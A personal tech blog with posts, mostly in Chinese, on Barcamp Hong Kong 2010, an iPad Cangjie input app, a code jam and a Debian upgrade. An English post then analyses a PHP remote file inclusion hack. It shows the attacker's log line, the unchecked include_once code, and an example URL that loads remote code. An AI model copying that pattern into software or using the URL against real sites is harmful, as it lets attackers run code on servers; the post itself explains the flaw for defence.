Barcamp 暨 Softzware Freedom Day 香港2010

今年是第一次去barcamp,前2年無去是因為barcamp在早上開始,
對於在放假會睡到差不多下午的我來說,是太早了,所以早2年都無出席。
而今年出席的原因,是因為今年的軟件自由日和barcamp是同一天,為了方便租場,
於是軟體自由日就找barcamp一同合辦,由barcamp在下午開一些時段來辦軟體自由日的活動。
當日軟體自由日的安排可到此參詳

基本上本身對barcamp的興趣不大,不知是我的偏見還是是香港的問題,
香港barcamp的topic多是和生意有關,因此本身不太感興趣。
當日其實對少部份技術topic有興趣,如AI, 但由於安排問題,
去到課室才知不是講AI, 那個AI Talk不知搬了時段還是搬了地方,最終沒有聽到,
於是求其有什麼就聽了,不過沒什麼心聽就是了。

若果講做生意,我個人認為要有idea不難,若只做中小企和個人生意,技術都不難,技術困難只會在支援多人的大型系統才會出現。
最困難是找客,因為同類產品的話,市面上實有,難在說服客轉用,以及有效宣傳的渠道,
而找投資,其本上有客的話就不愁無投資,開發軟體的好處是基本上可以不需什麼大投資……
基本上上午就是聽人說我們有什麼什麼idea,現在正找人投資;
而那些idea基本上我在99年開始辦game site時全都想過了, 不是什麼太出人意表的念頭……

整個上午覺得最有用的是一個關於怎去tune SEO的talk。

而下午,就到軟體自由日那邊充塞場面,亦是當日出席的最主要目的。
當日軟體自由日,當然由小兔黑黑打頭炮的什麼是hack的講題,
反應非常不錯,坐爆房。

而當日余亦有幫手講一個講題,題目為gateway DIY, by using Vyatta.

講題的主要目的是講我在半年前用mini itx的主板做router的經驗之談,
不過因時間關係,無講有關用這部機做雲端的試驗。

而這個DIY機器,亦將會做多次試驗,會用於OLPC的school server上。

在完結後,照過官方大合照,之後我們一眾同人,就坐在一邊閒聊,而不跟大會和大顆去pub飲食。

本人在App Store上的第一隻APP: Cangjie Traditional Chinese Input

因SERVER有問題及無時間,無寫幾個月BLOG了。一寫,就要賣一賣廣告。
小弟第一隻IPHONE APP:Cangjie Traditional Chinese Input上了APP STORE了,是一隻實際上寫給自己用的,可在IPAD上用倉頡打傳統中文的APP。不過既然寫了出來,安裝入IPAD上亦要買US$99的DEV ACCOUNT,那麼不如順手放上APP STORE做福人群。

經過1個月的等待,APPLE終於在9月16日APPROVE,經歴一星期在香港區下載第一位的寶座後,現在已跌落三十幾位,但在工具區仍是第一位。
而在9月28日APPLE亦APPROVE了1.1版,這個版本加入了速成輸入法。

其實這個Cangjie Traditional Chinese Input的打字方式,我刻意做到和我平時在電腦用英文KEYBOARD打字的情況一樣,都是按下空白鍵後才會選時,這個APP用藍牙或USB KEYBOARD上打字是一流的,因為在選字是可直接打數字去選。

本人因打倉頡是用第五代的倉頡碼,而WINDOWS用的倉頡碼是第三代的,所以本APP支援第5代和第3代的倉頡碼。
由於只是自己用,所以功能簡單,做到覺得夠用就完了。

寫這APP,輸入法的核心,認碼,其實只用了一小時就完成了,而最困難的地方是UI和收集KEYBOARD的EVENT,那裡花了2晚時間。而因為UIKeyboard這個CLASS,APPLE SDK沒有提供header file,所以不能修改KEYBOARD的字做中文字,因此只能顯示英文(雖然我習慣打英文KEYBOARD和英文倉頡碼)。

而隨著11月IOS4.2的來臨,本APP亦將會完成其歴史任務了。

Source: https://github.com/wanleung/Cangjie-iPad

參加Impromptu Code Jam

3月19日出席了由Agile Hong Kong 辦的WORKSHOP,去體驗PAIR PROGRAMMING。

之後和舊同事以及主辦單位一行13人一同食晚飯。最後回到家中已是零晨1時30分。

覺得這類WORKSHOP不錯,除了可學到不同的知識外,還可識到不少行內人。

而且這類SOLVE PROBLEM的問題,很久沒有做過,做完感覺腦筋好像清晰了不少,很久都沒試過有這樣的感覺。

之前去過不少技術交流的聚會,但像這次需要寫CODE還是第一次。

那個PROGRAM問題,之後我用PERL花了5分鐘寫了20行CODE就完成了,不過得到的答案是2531,5683,這個是有處理字的。而把數字排除在外的話,所得的答案為2534,5691。仍和他們所給的答案2530, 5680有分別。

把Debian上lenny(testing)

終於把家中的WORK STATION和LAPTOP上的DEBAIN, UPGRADE到TESTING VERSION。

GNOME的速度比以前快了些,而字體就比以前減了2個SIZE,應該FIX了上一個版本字體雖SET為同一SIZE,但在GNOME中字體比KDE大的問題。

另外TESTING VERSION中,多了開機動畫。

其他功能還在測試中。

Security Issue in PHP – include_once

There is an interesting hack in an account of our client on our webhosting service. It is an online library system of our client which is written in PHP. One day, the system admin reported that the postfix died becaue of a lot of spam mails sending from the online library system. When I checked the log and saw the log like the following:

1171167204.920 534343 xxx.xx.xx.xxx TCP_MISS/200 63463 POST http://www.example.com/php/index.php?Name=http://www.geocities.com/meet_kunleb/Login/Meet_KunleB_Mail/Logon.do.txt?

When I go the the php file and know how the cracker crack the system. The problem is about php.

<?php
...
$pagename =$_GET['Name'];
...
?>
...
<?php include_once("{$pagename}_main.inc");?>
...

The problem is that the $pagename does not have any gruad to check the value that got by $_Get[‘name’].

The function of include_once is allow to include the source from outside, http://example.com/aaa.php

So, when cracker use a ‘http://example.org/aaa.txt?’ as name, and use the url, http://example.com/php/index.php?Name=http://example.org/aaa.txt? ,

The $pagename will become http://example.org/aaa.txt? and the indule_once function will execute as:


<?php include_once("http://example.org/aaa.txt?_main.inc");?>

That will executes the php script in http://example.org/aaa.txt and _main.inc will be an ARGV for that php script. This will be a security hole of the system.

So that for security, if it is necessary to use include_once, include function in dynamic,
it has to have a check to see it is from the place you want before.